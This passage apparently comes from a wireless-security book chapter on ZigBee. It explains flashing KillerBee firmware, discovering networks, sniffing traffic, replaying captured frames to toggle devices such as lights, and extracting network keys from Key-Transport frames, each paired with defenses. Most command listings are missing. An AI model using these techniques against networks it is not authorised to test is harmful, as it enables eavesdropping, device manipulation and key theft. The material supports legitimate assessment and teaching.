primary	development	hardware	device	is	the	Atmel	RZ	Raven	USB	stick	(RZUSBstick),
shown	next.	This	USB	2.0	device	includes	support	for	the	IEEE	802.15.4	protocol	at	2.4
GHz	with	an	onboard	AVR	microprocessor.	Atmel	also	makes	the	source	code	for	device
firmware	available	with	a	license	that	allows	you	to	modify	and	redistribute	the	source	(as
long	as	it	is	used	on	the	RZ	Raven	hardware),	which	gives	developers	the	ability	to	modify
the	RZUSBstick	firmware	to	accommodate	new	functionality	easily.	The	RZUSBstick
hardware	is	available	through	popular	electronics	resellers	such	as	Digi-Key	Corporation
(http://www.digikey.com)	and	Mouser	Electronics	(http://www.mouser.com)	under	AVR
part	number	ATAVRRZUSBSTICK	for	approximately	$43US.

	

We	recommend	picking	up	at	least	two	RZUSBstick	interfaces,	so	you	can	use	one	for
transmitting	spoofed	frames	while	the	second	interface	is	used	for	eavesdropping	on	the
network.

The	default	firmware	included	with	the	RZUSBstick	at	the	time	of	this	writing	is
AVR2017.	With	the	default	firmware,	the	RZUSBstick	can	create	a	ZigBee-2006–
compliant	network	or	act	as	a	passive	packet	sniffer.	Unfortunately,	the	additional
functionality	needed	for	security	analysis,	including	packet	injection	capability,	is	not
available	with	the	default	firmware.

Atmel	AVR	Dragon	On-Chip	Programmer	To	address	the	limitations	in	the	default
RZUSBstick	firmware,	this	author	developed	a	customized	firmware	release	supplied	in
source	and	binary	form	with	KillerBee.	Unfortunately,	updating	the	RZUSBstick	with	the
new	firmware	is	not	a	straightforward	process	and	requires	another	piece	of	hardware
known	as	an	on-chip	programmer,	like	the	Atmel	AVR	Dragon	shown	here.

http://www.digikey.com
http://www.mouser.com


The	AVR	Dragon	is	a	low-cost	programmer	designed	for	Atmel	developers	working
with	AVR	microprocessors	such	as	the	AT90USB1287	used	on	the	RZUSBstick.	With
multiple	programming	interfaces,	including	a	10-pin	header	interface,	this	device	connects
to	the	JTAG	(Joint	Test	Action	Group)	interface	on	the	RZUSBstick	and	can	flash	the
onboard	microprocessor	with	updated	firmware,	including	the	KillerBee	firmware	for	the
RZUSBstick.	Also	available	from	popular	electronics	resellers	such	as	Digi-Key
Corporation	(http://www.digikey.com)	and	Mouser	Electronics	(http://www.mouser.com)
under	AVR	part	number	ATAVRDRAGON,	the	AVR	Dragon	retails	for	$50US.

	

Several	users	have	reported	that	handling	the	AVR	Dragon	when	plugged	into	a	USB
device	can	damage	the	device.	This	could	be	due	to	an	improperly	grounded	component,
indicating	a	flaw	in	the	AVR	Dragon	hardware	design.	Use	caution	when	handling	the
AVR	Dragon,	keeping	it	inside	an	ESD	bag	or	the	cardboard	box	it	arrives	in,	or	cover	the
sensitive	IC	components	with	a	piece	of	heat-shrink	tubing	available	at	home
improvement	stores.

Atmel	100-mm	to	50-mm	JTAG	Standoff	Adapter	To	interface	between	the	JTAGICE
mkII	and	the	RZUSBstick,	you	need	to	convert	between	a	100-mm	pitch	JTAG	adapter
and	a	50-mm	pitch	JTAG	adapter.	Atmel	sells	a	kit	of	four	adapters,	suitable	for	a	variety
of	connectors,	as	Atmel	part	number	ATAVR-SOAKIT	for	approximately	$39US,
available	from	popular	electronics	resellers.	To	interface	between	the	AVR	Dragon	and	the
RZUSBstick,	we	use	the	JTAG	adapter	included	in	the	ATAVR-SOAKIT,	shown	here.

50-mm	Male-to-Male	Header	The	JTAG	standoff	adapter	ends	with	a	50-mm	female
header.	A	50-mm	male-to-male	header	is	needed	to	convert	the	JTAG	standoff	adapter	to	a
male	header	that	will	insert	into	the	RZUSBstick	JTAG	slot.	This	part	is	commonly
available	from	multiple	electronics	sites,	including	Digi-Key	Corporation,	part	number
S9015E-05	for	$1US.

http://www.digikey.com
http://www.mouser.com


10-pin	(2×5)	100-mm	Female-to-Female	Ribbon	Cable	From	the	AVR	Dragon,	you
need	to	connect	a	ribbon	cable	to	the	JTAG	interface	pins.	This	ribbon	cable	needs	10	pins
in	a	2×5	configuration.	This	common	part	is	available	from	popular	electronics	resellers
such	as	Digi-Key	as	part	number	H3AAH-1018G-ND	for	$1.50.

As	an	alternative,	you	can	simply	use	10	female-to-female	prototyping	jumpers	and
connect	them	manually	(making	sure	you	connect	all	the	cables	in	matching	pin	order
between	the	AVR	Dragon	and	the	JTAG	standoff	adapter).	A	set	of	40	high-quality	female
jumpers	is	available	from	Adafruit.com	as	part	number	266	for	$7US,	as	shown	next.
Although	a	little	more	expensive,	the	jumpers	can	be	used	for	a	variety	of	other	tasks	as
well.

In	a	pinch,	an	old	IDE	hard	drive	cable	will	also	work.	Cut	down	the	connector
headers	with	a	utility	knife	to	leave	10	wires	and	the	2×5	header	pins.

AVRDUDE	AVRDUDE	is	an	open	source	command-line	utility	for	Windows	or	Linux
systems	that	supports	many	different	AVR	programmers.	Windows	users	can	download	a
compiled	version	of	AVRDUDE	as	part	of	the	WinAVR	package	at
http://winavr.sourceforge.net.	After	downloading	the	WinAVR	package,	unzip	the	file	and
copy	the	avrdude.exe	and	avrdude.conf	files	to	a	location	in	your	system	PATH.

Linux	users	can	install	AVRDUDE	after	downloading	the	package	at
http://www.nongnu.org/avrdude	or	from	a	package	supplied	by	your	Linux	distribution.
Ubuntu	users	can	install	AVDDUDE	by	running	sudo	apt-get	install	avrdude.

KillerBee	Firmware	for	the	RZUSBstick	The	KillerBee	project	includes	custom
firmware	for	the	RZUSBstick,	allowing	the	hardware	to	perform	arbitrary	packet	injection
while	maintaining	other	functionality	such	as	packet	sniffing	and	the	establishment	of	a
ZigBee	network	as	a	PAN	Coordinator.	The	firmware	bundled	with	the	KillerBee	tools	is

http://Adafruit.com
http://winavr.sourceforge.net
http://www.nongnu.org/avrdude


available	at	http://killerbee.googlecode.com.

Installing	AVR	Dragon
To	use	the	AVR	Dragon	on	Windows	systems,	you	need	the	libusb-win32	driver	available
at	http://sourceforge.net/projects/libusb-win32.	Download	and	extract	the	zip	file,	and	then
launch	the	libusb-win32	“inf-wizard.exe”	executable.	Connect	the	AVR	Dragon	over	USB
to	your	Windows	host,	and	then	click	Next	in	the	wizard.	The	Inf-Wizard	utility	will
detect	the	AVR	Dragon	and	identify	the	USB	vendor	ID	and	product	ID	values,	as	shown
here.

Select	the	AVRDRAGON	entry	and	click	Next.	The	Inf-Wizard	utility	will	present	you
with	a	device	configuration	window,	as	shown	here.	Click	Next	to	accept	the	VID,	PID,
and	descriptive	values.

http://killerbee.googlecode.com
http://sourceforge.net/projects/libusb-win32


At	the	conclusion	of	the	Inf-Wizard,	click	Install	Now,	as	shown	next.	The	wizard	will
install	the	libusb-win32	driver	for	the	AVR	Dragon.	When	prompted,	click	Install	This
Driver	Software	Anyway	and	finish	the	installation	process.

Linux	users	have	a	much	simpler	configuration	experience	when	using	the	AVR
Dragon.	Just	plug	in	the	AVR	Dragon	and	you	are	ready	to	go!

With	your	AVR	Dragon	configured	for	use,	you	are	ready	to	flash	alternative	firmware
on	the	AVR	RZUSBstick.

Building	a	KillerBee	RZUSBstick
Once	the	required	components	are	in	place,	updating	the	RZ	Raven	USB	hardware	for	use
with	KillerBee	is	straightforward:

1.	Connect	the	AVR	Dragon.	Using	a	USB	cable,	power	up	and	connect	the	AVR
Dragon	to	your	Windows	host.	It	is	recommended	that	the	USB	cable	be	connected
directly	to	the	host	instead	of	through	a	USB	hub.

2.	Download	the	KillerBee	firmware.	Download	the	latest	KillerBee	release	from
http://killerbee.googlecode.com.	In	the	killerbee/firmware	directory,	you	will	find	a
file	named	kb-rzusbstick-001.hex	or	similar.	Use	this	file	to	update	the	firmware	on
the	RZUSBstick.

3.	Prepare	AVRDUDE.	Open	a	command	prompt	and	change	to	the	directory	where	you
downloaded	the	KillerBee	firmware.	Enter	the	following	command,	but	don’t	press
ENTER	yet!	You’ll	only	have	one	hand	to	press	ENTER	to	execute	the	command	while
holding	the	RZUSBstick.

4.	Power	and	connect	the	RZUSBstick.	The	RZUSBstick	needs	to	be	powered	over	USB
in	order	to	program	the	microprocessor.	Connect	the	RZUSBstick	to	a	USB	bus
(using	a	USB	extension	cord	is	convenient	for	positioning	the	RZUSBstick	near	the

http://killerbee.googlecode.com


AVR	Dragon).	After	plugging	in	the	RZUSBstick,	the	blue	LED	will	light.	Using	the
JTAG	adapter	connected	to	the	AVR	Dragon,	insert	the	JTAG	standoff	adapter	with
the	male-to-male	header	into	the	pins	on	the	top	of	the	RZUSBstick,	holding	the	pins
at	a	slight	angle	to	provide	contact	with	the	PCB	socket,	as	shown	in	Figure	13-2.	Pin
1	on	the	AVR	Dragon	interface	should	be	farthest	from	the	USB	interface	on	the
RZUSBstick.

Figure	13-2	JTAG	Programmer	inserted	into	the	RZUSBSTICK

5.	Program	the	RZUSBstick.	With	contact	between	the	AVR	Dragon	and	the	JTAG
socket	on	the	RZUSBstick,	press	ENTER	to	start	the	AVRDUDE	programmer.	The
programmer	presents	status	messages	as	the	RZUSBstick	is	programmed,	similar	to
the	example	shown	here	for	Windows	(AVRDUDE	on	Linux	will	produce	similar
output):



Following	the	programming	procedure,	the	amber	LED	will	be	lit	on	the
RZUSBSTICK	instead	of	the	blue	LED,	indicating	the	hardware	is	ready	as	a	KillerBee
device.	We’ll	continue	to	refer	to	opportunities	to	leverage	KillerBee	throughout	this
chapter	as	we	explore	attack	opportunities.

Alternative	KillerBee	Hardware
The	RZUSBstick	hardware	used	for	the	KillerBee	platform	is	problematic	in	several
ways,	including	the	lack	of	a	standard	Linux	driver	capable	of	multiplexing	concurrent
packet	receive	and	transmit	functionality.	As	an	alternative	to	the	RZUSBstick,	other
hardware	options	are	available	or	currently	in	development.

TelosB	Mote	The	TelosB	Mote	hardware	was	formerly	sold	by	Crossbow	Systems	as	a
research	and	development	platform	for	IEEE	802.15.4	networks.	Although	it	is	no
longer	available	for	sale	commercially,	the	hardware	is	very	popular	at	research
universities	and	may	also	be	used	with	KillerBee,	with	alternative	firmware	supplied
with	the	KillerBee	source,	by	using	the	flash_telosb.sh	script.

Api-Mote	The	Api-Mote	hardware	is	an	ongoing	development	project	by	River	Loop
Security	led	by	Ryan	Speers	and	Ricky	Melgares.	The	Api-Mote	hardware	integrates
with	KillerBee	to	support	all	the	attacks	accessible	through	the	RZUSBstick	hardware,



but	uses	a	serial	interface	over	USB	to	control	the	hardware,	making	it	much	more
reliable	and	accessible	from	a	development	perspective.	At	the	time	of	this	writing,	the
Api-Mote	is	not	yet	available	for	sale	publicly,	but	may	be	available	at	common
electronics	resellers	such	as	Adafruit.com	in	the	near	future.

Network	Discovery
One	of	the	first	tasks	in	a	ZigBee	assessment	is	to	discover	the	networks	within	range	and
enumerate	the	configuration	of	devices.	A	simple	way	to	collect	this	information	is	to
mimic	the	ZigBee	network	discovery	process	with	KillerBee.

As	part	of	the	network	discovery	process,	ZigBee	devices	will	transmit	beacon	request
frames	on	a	given	channel.	All	ZigBee	Routers	and	Coordinators	that	receive	the	beacon
request	frame	will	respond	by	sending	a	beacon	frame,	disclosing	the	PAN	ID,
Coordinator	or	Router	source	address,	stack	profile,	stack	version,	and	extended	IEEE
address	information.	Using	this	technique,	we	can	actively	scan	for	the	presence	of	ZigBee
networks.

	ZigBee	Discovery	with	zbstumbler

Using	a	technique	similar	to	Wi-Fi	network	discovery	with	tools	such	as	NetStumbler,
the	KillerBee	tool	zbstumbler	channel	hops	and	transmits	beacon	request	frames,
displaying	useful	information	from	the	response	beacon	frames.	Run	with	no	command-
line	arguments,	zbstumbler	will	start	scanning	on	the	ZigBee	channels,	hopping	to	a	new
channel	every	two	seconds,	as	shown	here:

http://Adafruit.com


Zbstumbler	can	also	log	information	about	the	discovered	networks	to	a	comma-
separated	values	(CSV)	file	with	the	-w	argument:

Once	we	have	discovered	a	ZigBee	network	target,	we	can	use	the	channel	number
information	revealed	by	zbstumbler	to	move	on	to	a	traffic	eavesdropping	attack,
leveraging	one	of	several	ZigBee	packet	capture	tools.

	ZigBee	Network	Active	Scanning	Countermeasure
The	same	technique	used	in	zbstumbler	for	discovering	ZigBee	networks	is	used	for
production	ZigBee	devices.	When	a	new	ZigBee	Router	or	Coordinator	is	established,	it
sends	a	beacon	request	frame	to	identify	other	networks	to	avoid	PAN	ID	conflicts	(where
two	different	networks	could	otherwise	use	the	same	randomly	selected	PAN	ID).	When	a
ZigBee	End	Device	wants	to	identify	a	Router	or	Coordinator	to	join	the	ZigBee	network,
it	sends	a	beacon	request	and	assesses	the	responses	to	select	the	best	network	target	to



join.

Because	the	beacon	request	mechanism	is	integral	to	ZigBee,	it	cannot	be	disabled,
leaving	an	attacker	free	to	use	the	same	technique	for	ZigBee	network	discovery.	As	a
result,	your	best	countermeasure	is	to	understand	the	impact	of	this	attack	and	evaluate
your	own	networks	to	identify	the	information	an	attacker	can	glean	through	this	attack.

Eavesdropping	Attacks
Because	a	significant	number	of	ZigBee	networks	do	not	employ	encryption,
eavesdropping	attacks	are	extremely	useful	for	an	attacker.	Even	in	the	cases	where	the
ZigBee	network	does	use	encryption,	an	attacker	can	make	use	of	unencrypted	ZigBee
frame	information,	such	as	the	MAC	header,	to	identify	the	presence	of	ZigBee	networks
and	other	important	characteristics,	such	as	the	configuration	of	the	network,	node
addresses,	and	the	PAN	ID.

A	handful	of	tools	provide	the	ability	to	capture	ZigBee	network	traffic,	ranging	from
inexpensive	to	moderately	expensive,	though	we’ll	provide	some	assistance	in	maximizing
your	investment	(legally,	of	course).

Microchip	ZENA	Network	Analyzer	Sniffing

Microchip	Technology,	Inc.,	producer	of	the	popular	PIC	microprocessor,	also
manufactures	a	product	known	as	the	ZENA	Network	Analyzer.	The	ZENA	is	a	USB	2.0
circuit	board	with	a	PIC18LF	microprocessor	and	an	MRF24J40	IEEE	802.15.4	radio
interface	with	accompanying	Windows	software	to	capture	and	save	2.4	GHz	IEEE
802.15.4	traffic,	including	ZigBee	and	the	proprietary	Microchip	protocols	Mi-Wi	and	Mi-
Wi	P2P.	Designed	for	wireless	engineers	who	need	to	troubleshoot	network	activity,	the
ZENA	provides	simple	access	for	capturing	and	analyzing	ZigBee	network	activity.

The	ZENA	hardware,	shown	here,	is	available	from	both	Microchip	Technology,	Inc.,
and	popular	electronic	resellers	for	$130US.	Requiring	no	special	driver	setup,	inserting
the	ZENA	into	an	available	USB	port	with	the	supplied	USB	cable	and	installing	the
ZENA	Packet	Sniffer	software	on	the	accompanying	CD	is	easy.



	

You	can	download	a	copy	of	the	ZENA	Network	Analyzer	from	the	Microchip	website	at
http://bit.ly/9siayC.	A	sample	ZENA	packet	capture	file	is	also	available	on	the	book’s

companion	website	(http://www.hackingexposedwireless.com).							

The	ZENA	Packet	Sniffer	software	is	limited	in	its	functionality;	it’s	intended	for
general	analysis	of	wireless	activity	with	some	frame	decoding,	rather	than	a	detailed
hexadecimal	dump	of	the	data.	The	user	can	select	the	channel	number	to	capture	on	(11–
26)	with	an	option	to	ignore	or	process	frames	received	with	an	incorrect	checksum	(FCS).
Controls	can	be	applied	to	the	MAC,	NWK,	and	APS	layers	to	display	numeric,
condensed,	or	verbose	views.	Clicking	View	|	Network	Messages	displays	the	contents	of
captured	frames,	as	shown	here.

As	an	alternative	to	the	ZENA	Network	Analyzer	for	Windows	software,	developer
Emeric	Verschuur	published	the	ZenaNG	tool	to	support	Linux	users.	Available	at
https://github.com/Mr-TI/ZenaNG,	ZenaNG	captures	ZigBee	and	IEEE	802.15.4	activity
on	a	specified	channel,	displaying	the	packet	contents	in	hex	format,	writing	a	libpcap	file.
Download	and	build	the	ZenaNG	software,	as	shown	here:

After	building	the	ZenaNG	utility,	you	can	examine	the	command-line	arguments	with
-h.	To	sniff	on	channel	15	and	output	the	received	packets	in	hexdump	format,	run	the
ZenaNG	utility,	as	shown	here:

http://bit.ly/9siayC
http://www.hackingexposedwireless.com
https://github.com/Mr-TI/ZenaNG


Without	specifying	a	capture	type,	ZenaNG	will	output	received	packets	in	libpcap	file
format.	Redirect	the	output	of	ZenaNG	to	a	libpcap	file,	as	shown	here:

ZenaNG	can	also	capture	and	redirect	traffic	directly	into	Wireshark	as	a	capture
source,	as	shown	next.	Wireshark	will	initiate	a	packet	capture	and	immediately	start
capturing	and	displaying	packets,	as	shown	in	Figure	13-3.



Figure	13-3	Wireshark	capture	through	ZenaNG
$	sudo	wireshark	-k	-i	<(zenang	-c	15)

Hacking	the	Microchip	ZENA
Despite	the	lack	of	firmware,	schematics,	or	documentation	on	the	Microchip	ZENA,	it
is	a	remarkably	hackable	device	from	a	hardware	and	software	perspective.

The	ZENA	hardware	is	designed	to	accept	an	external	antenna	connector	near	the
circuit-board	antenna.	Using	the	socket	interface	on	the	PCB,	you	can	solder	on	a
surface-mount	RP-SMA	RF	connector	(such	as	the	Digi-Key	part	number
CONREVSMA001-SMD-ND,	$3.18US),	which	gives	you	the	option	of	using	an
external	antenna	(when	connected)	or	the	PCB	antenna.	With	the	RP-SMA	connector
attached,	an	RP-SMA	pigtail	can	be	used	to	connect	to	any	2.4	GHz	antenna,	allowing
you	to	capture	ZigBee	network	activity	from	a	greater	distance.	It	also	enables	an
attacker	to	evade	detection	by	mounting	an	attack	in	a	parking	lot,	for	example.

	KillerBee	Packet	Sniffing



The	KillerBee	suite	of	tools	offers	several	options	for	capturing	ZigBee/IEEE	802.15.4
traffic.	The	zbdump	tool	included	with	KillerBee	is	designed	to	be	similar	to	the
ubiquitous	tcpdump	packet	capture	tool.	This	tool	works	with	either	the	custom	KillerBee
firmware	or	the	factory	default	firmware	that	comes	with	a	RZUSBstick,	allowing	you	to
capture	ZigBee	and	IEEE	802.15.4	traffic	to	a	libpcap	capture	file.

First,	install	the	Python	modules	used	for	KillerBee,	and	then	download	the	KillerBee
source	from	http:/killerbee.googlecode.com.	You	can	download	the	latest	release	of
KillerBee,	or	retrieve	the	most	up-to-date	source	code,	as	shown	here:

	

The	installation	process	for	KillerBee	is	the	same,	regardless	of	the	tool	that’s	used,	so
we’ll	only	cover	the	installation	steps	here.

Once	installed,	you	can	use	zbdump	to	capture	and	save	traffic	to	a	capture	file.
Specifying	the	-f	flag	will	set	the	RZUSBstick	to	the	indicated	channel	number	for
capture.	Specify	the	output	file	with	-w	for	a	libpcap	capture.	Interrupt	the	packet	capture
by	pressing	CTRL-C.

The	libpcap	savefile.dump	file	can	be	opened	in	Wireshark	for	additional	analysis,	as
shown	here,	and	can	be	used	by	several	of	the	other	tools	accompanying	zbdump	in	the
KillerBee	suite.

http://http:/killerbee.googlecode.com


	

The	zbdump	utility	can	create	packet	captures	in	the	libpcap	format	(-w)	or	in	the
commercial	Daintree	Networks’	Sensor	Network	Analyzer	(SNA)	packet	sniffer	dcf	file
format	(-W).	The	Daintree	SNA	product	is	no	longer	supported	by	Daintree	Networks,
although	KillerBee	continues	to	support	the	file	format	for	backward	compatibility.

An	alternative	to	capturing	with	zbdump	and	opening	the	packet	capture	in	Wireshark
is	to	capture	from	Wireshark	directly.	Wireshark	can’t	capture	directly	from	a	KillerBee
RZUSBstick,	but	you	can	use	the	zbwireshark	utility	to	create	a	named	pipe	and	launch
Wireshark,	starting	a	new	packet	capture	automatically,	as	shown	here:

One	significant	limitation	of	the	KillerBee	RZUSBstick	hardware	and	the	Microchip
ZENA	is	that	they	are	both	limited	to	eavesdropping	on	2.4	GHz	channels	only.	Although
less	common,	ZigBee	and	IEEE	802.15.4	deployments	can	be	deployed	at	sub-1-GHz
channels	as	well,	requiring	a	sniffer	tool	that	also	accommodates	these	frequencies.

	Sewio	Networks	Open	Sniffer



Sewio	Networks	produces	a	relatively	low-cost	ZigBee/IEEE	802.15.4	sniffer	device
called	Open	Sniffer	(http://www.sewio.net/open-sniffer),	shown	in	Figure	13-4.	The	Open
Sniffer	is	a	self-contained	network	node	with	Ethernet	support.	Instead	of	connecting	the
capture	device	to	the	target	system	over	USB	(with	the	distance	limitations	of	USB
cables),	the	Open	Sniffer	can	be	deployed	in	a	remotely	accessible	location	over	your
network	to	capture	ZigBee	traffic.

Figure	13-4	Sewio	Open	Sniffer

The	Open	Sniffer	uses	a	default	IP	address	of	10.10.10.2.	Initially	configure	your
system	with	an	IP	address	of	10.10.10.1	to	reach	the	Open	Sniffer	for	configuration.
Browsing	to	the	Open	Sniffer	IP	address	reveals	the	configuration	options	for	the	device,
including	the	IP	address	information	on	the	Settings	page,	shown	in	Figure	13-5.	Change
the	IP	address	information	for	the	Open	Sniffer	device	and	plug	it	into	your	network	as
desired.	In	the	configuration	examples	that	follow,	we	interact	with	the	Open	Sniffer	using
the	default	IP	address,	directly	connecting	the	device	to	our	Linux	host	system.

http://www.sewio.net/open-sniffer


Figure	13-5	Sewio	Open	Sniffer	IP	address	configuration	page

	

By	default,	the	Sewio	Open	Sniffer	will	deliver	packets	with	a	valid	or	an	invalid	CRC
check.	To	limit	the	received	packet	capture	to	valid	packets,	navigate	to	the	Open	Sniffer
Settings	page	and	check	the	CRC	Filter	option.

The	Open	Sniffer	can	be	used	as	a	packet	capture	source	with	KillerBee’s	zbdump,
simply	by	specifying	the	IP	address	of	the	Open	Sniffer	as	the	device	string,	as	shown
here:

The	Sewio	Open	Sniffer	device	is	currently	the	only	supported	KillerBee	device
capable	of	eavesdropping	on	the	sub-1-GHz	channels.	As	more	devices	crowd	the	2.4



GHz	band,	many	manufacturers	are	looking	toward	the	available	frequencies	at	900	MHz
in	the	Americas,	868	MHz	in	Europe,	and	780	MHz	in	China	as	a	source	of	interference-
free	spectrum	availability.	A	list	of	these	channel	numbers,	matching	frequencies,	and
international	use	areas	is	shown	in	the	following	table.

	

The	frequency	numbers	for	sub-1-GHz	channels	used	in	the	Americas	and	Europe	conflict
with	those	used	in	China.	Sewio	sells	two	varieties	of	the	Open	Sniffer—one	tuned	for
American	and	European	frequencies	and	a	second	unit	tuned	for	Chinese	frequencies.	The
frequency	used	for	eavesdropping	on	the	Open	Sniffer	will	depend	on	the	style	of	unit
purchased.

To	capture	ZigBee	or	IEEE	802.15.4	activity	on	a	sub-1-GHz	frequency,	simply
specify	the	appropriate	channel	number,	as	shown	here:

Although	sub-1-GHz	ZigBee	and	IEEE	802.15.4	networks	are	less	common	than	2.4
GHz	networks,	we	will	most	likely	continue	to	see	new	products	switching	to	this
frequency	range.	Many	industry	analysts	predict	that	the	sub-1-GHz	frequencies	will	be



vital	for	the	Internet	of	Things	evolution	and	should	not	be	overlooked	when	performing	a
security	assessment	of	ZigBee	or	IEEE	802.15.4	deployments.

	Traffic	Eavesdropping	Defenses
Whether	the	attacker	is	using	the	Microchip	ZENA,	Sewio	Open	Sniffer,	or	KillerBee
zbdump,	the	data	transmitted	over	your	ZigBee	network	is	at	risk	for	eavesdropping
attacks.	From	a	high-level	perspective,	you	should	always	assume	that	an	attacker	can
eavesdrop	on	your	wireless	networks,	capturing	and	analyzing	the	data	being	transmitted.
The	operational	security	goal	is	to	minimize	what	an	attacker	can	do	with	that	data.

The	only	mechanism	available	in	the	ZigBee	specification	to	defend	against	this	sort
of	an	attack	is	to	leverage	the	available	encryption	mechanisms	through	the	use	of	the
CCM*	cipher	suite.	Ensure	that	you’ve	selected	strong	keys	and	that	these	keys	remain
secretive	to	the	greatest	extent	possible.

Replay	Attacks
The	concept	of	a	replay	attack	is	simple:	using	observed	data,	retransmit	the	frames	as	if
the	original	sender	were	transmitting	them	again.	The	effect	of	a	replay	attack	depends
largely	on	the	content	of	the	data	being	replayed	and	the	nature	of	the	protocol	in	use.

For	example,	in	a	network	used	for	electronic	banking,	if	an	attacker	can	implement	a
replay	attack	and	resend	a	bank	transfer,	then	the	funding	of	the	original	transfer	could	be
doubled,	tripled,	or	quadrupled	depending	on	the	number	of	times	the	attacker	replays	the
data.	In	the	world	of	ZigBee	devices,	a	replay	attack	is	similar,	but	with	a	decidedly
different	impact.

In	this	author’s	research,	several	ZigBee	stacks	that	operate	without	encryption	are
vulnerable	to	replay	attacks.	In	these	instances,	the	original	frames	can	be	re-sent	to
reproduce	a	given	action	multiple	times.	For	example,	one	sample	application	stack	from
Texas	Instruments	implements	a	light-switch	application	over	ZigBee.	If	an	attacker	can
capture	the	traffic	generated	when	the	switch	is	turned	on	and	off,	he	can	selectively
replay	these	packets	to	manipulate	the	light	on/off	event.	Combined	with	a	physical	attack
(breaking	and	entering	under	video	surveillance,	for	example),	the	ability	to	manipulate	a
light	switch	remotely	could	be	useful.	Or	the	attacker	could	simulate	a	strobe	light	with
rapid	on/off	events	to	cause	mischief.

	KillerBee	zbreplay	Packet	Replay



The	KillerBee	zbreplay	tool	implements	the	packet	replay	attack,	reading	from	a
packet	capture	file	and	retransmitting	the	frames	with	a	specified	delay	in	seconds	(or
fractions	of	a	second).	Zbreplay	will	retransmit	each	frame	(excluding	acknowledgement
frames),	preserving	the	original	integrity	of	the	traffic,	as	shown	here:

	

Zbreplay	does	not	retransmit	acknowledgement	frames	because	these	frames	are	generated
automatically	by	the	recipient	following	successful	receipt	of	a	packet.

In	this	example,	zbreplay	retransmits	the	contents	of	the	libpcap	capture	file
lightswitch-onoff.pcap	on	channel	20	(-f	20)	with	a	1/10th-second	delay	between	each
frame	(-s	.1).	After	replaying	the	packet	capture	contents,	zbreplay	indicates	that	four
frames	were	transmitted.	Optionally,	you	can	use	the	-n	argument	to	limit	the	number	of
frames	to	replay	(to	replay	just	the	first	two	frames	in	the	packet	capture	file,	you	would



specify	-n	2,	for	example).

	

Zbreplay	cannot	transmit	frames	while	capturing	frames	using	zbdump	on	the	same
interface.	To	observe	the	activity	generated	with	zbreplay	while	recording	data	with
zbdump,	two	RZUSBstick	interfaces	are	required.

Because	zbreplay	replays	the	contents	of	the	packet	capture,	you	sometimes	need	to
manipulate	the	capture	file	to	transmit	only	the	frames	you	want	to	replay.	This	process	is
straightforward	with	Wireshark.

First,	open	the	packet	capture	in	Wireshark.	Right-click	on	a	frame	you	want	to	extract
and	select	Mark	Packet	(toggle).	Wireshark	will	highlight	the	packet	with	a	black
background	to	indicate	it	is	marked.	Once	you	have	highlighted	all	the	packets	you	want
to	use	to	create	a	packet	capture	extract,	select	File	|	Export	Specified	Packets	and	enter	a
new	output	filename.	In	the	Packet	Range	group,	select	Marked	Packets	Only,	as	shown
here.

The	effectiveness	of	a	replay	attack	depends	largely	on	the	ZigBee	implementation
being	targeted,	which	must	be	evaluated	on	a	case-by-case	basis.	Often,	an	unencrypted
network	or	knowledge	of	the	encryption	key	is	required	to	implement	a	replay	attack.
Fortunately,	the	attacker	has	an	attack	option	to	exploit	the	encryption	on	a	ZigBee



network	as	well.

	Defeating	the	Replay	Attack
To	mitigate	a	replay	attack,	the	ZigBee	stack	should	be	configured	to	validate	that	the
sequence	number	of	the	received	frame	is	at	least	one	greater	than	the	previous	packet
received	and	successfully	processed.	Unfortunately,	the	ZigBee	specification	does	not
require	this,	and	it	also	has	limited	entropy	with	the	ZigBee	NWK	sequence	number	field
being	limited	to	8	bits.	An	attacker	could	capture	a	packet	and	wait	for	255	frames	to	be
transmitted	before	retransmitting	the	captured	frame	so	it	matches	the	next	anticipated
sequence	number,	for	example.

Additional	upper-layer	security	defenses	may	also	be	applied	to	defend	against	replay
attacks,	including	high-level	sequence	number	enforcement	mechanisms	designed	to
defeat	replay	attacks.	When	present,	these	mechanisms	should	be	evaluated	on	an
individual	basis	to	determine	if	sufficient	entropy	is	available	in	the	sequence	number.

Encryption	Attacks
Encryption	key	distribution,	rotation,	revocation,	and	management	in	a	ZigBee	network	is
a	challenge	to	address	securely.	As	few	ZigBee	devices	have	a	man-machine	interface
(MMI),	administrators	have	limited	opportunity	to	purchase	a	product	and	configure	a	key
locally	before	provisioning	the	device.	In	other	cases,	such	as	home	area	networking
(HAN)	communication	between	a	smart	thermostat	and	the	electric	utility	smart	meter,
there	is	a	separation	of	responsibility	among	multiple	devices	participating	in	a	local
ZigBee	network,	making	key	management	a	complex	problem.

In	Zigbee	2012	or	ZigBee	2007	networks	and	earlier	using	standard	security,	a	device
without	knowledge	of	a	specific	key	can	request	that	the	Trust	Center	issue	the	key	by
sending	an	APS	Request-Key	command.	If	the	Trust	Center	policy	allows	new	devices	to
request	keys,	the	network	key	can	be	sent	to	the	device	requesting	access	using	an	APS
Key-Transport	command.

By	knowing	the	network	key,	additional	keys	can	be	derived	on	the	network,	such	as
the	link	key,	but	the	security	of	the	link	key	exchange	relies	on	the	prior	integrity	of	the
network	key	that	was	sent	in	plaintext.	Although	a	significant	threat,	many	ZigBee
networks	rely	on	this	key	transport	mechanism	as	the	only	reasonable	mechanism
available	for	issuing	dynamic	or	rotating	keys	to	devices	as	the	security	model	of	the
network	demands.

	KillerBee	zbdsniff	Key	Sniffing



The	KillerBee	suite	of	tools	includes	zbdsniff,	designed	to	process	the	contents	of	a
packet	capture	file	(libpcap	or	SNA)	and	examine	the	configuration	of	APS	frames	for	the
Key-Transport	command.	Multiple	capture	files	can	be	specified	on	the	command	line;
when	one	capture	file	includes	a	Key-Transport	command	revealing	a	network	key,
zbdsniff	will	display	the	key	contents	and	the	source	and	destination	addresses	of	the
involved	devices,	as	shown	here:

Once	you’ve	found	the	network	key,	you	can	decrypt	the	contents	of	a	packet	capture
with	Wireshark.	From	the	Wireshark	GUI,	enter	a	key	by	selecting	Edit	|	Preferences	|
Protocols	|	ZigBee	NWK	to	open	the	ZigBee	Network	Layer	dialog	and	enter	the	key	as
shown	next.	You	must	also	specify	the	MIC	length,	which	is	commonly	32	bits	(the
Wireshark	default).	Once	a	key	has	been	entered,	Wireshark	will	attempt	to	decrypt	each
frame	in	the	packet	capture,	allowing	you	to	inspect	the	decrypted	packet	contents	for	each
frame.



	Defeating	the	Key	Transport	Attack
The	ZigBee	specification	provides	additional	mechanisms	for	provisioning	encryption
keys,	including	preconfiguration	(establishing	the	key	on	the	device	when	it	is	factory
built,	for	example)	and	key	negotiation	(using	the	Symmetric	Key-Key	Establishment
(SKKE)	protocol).

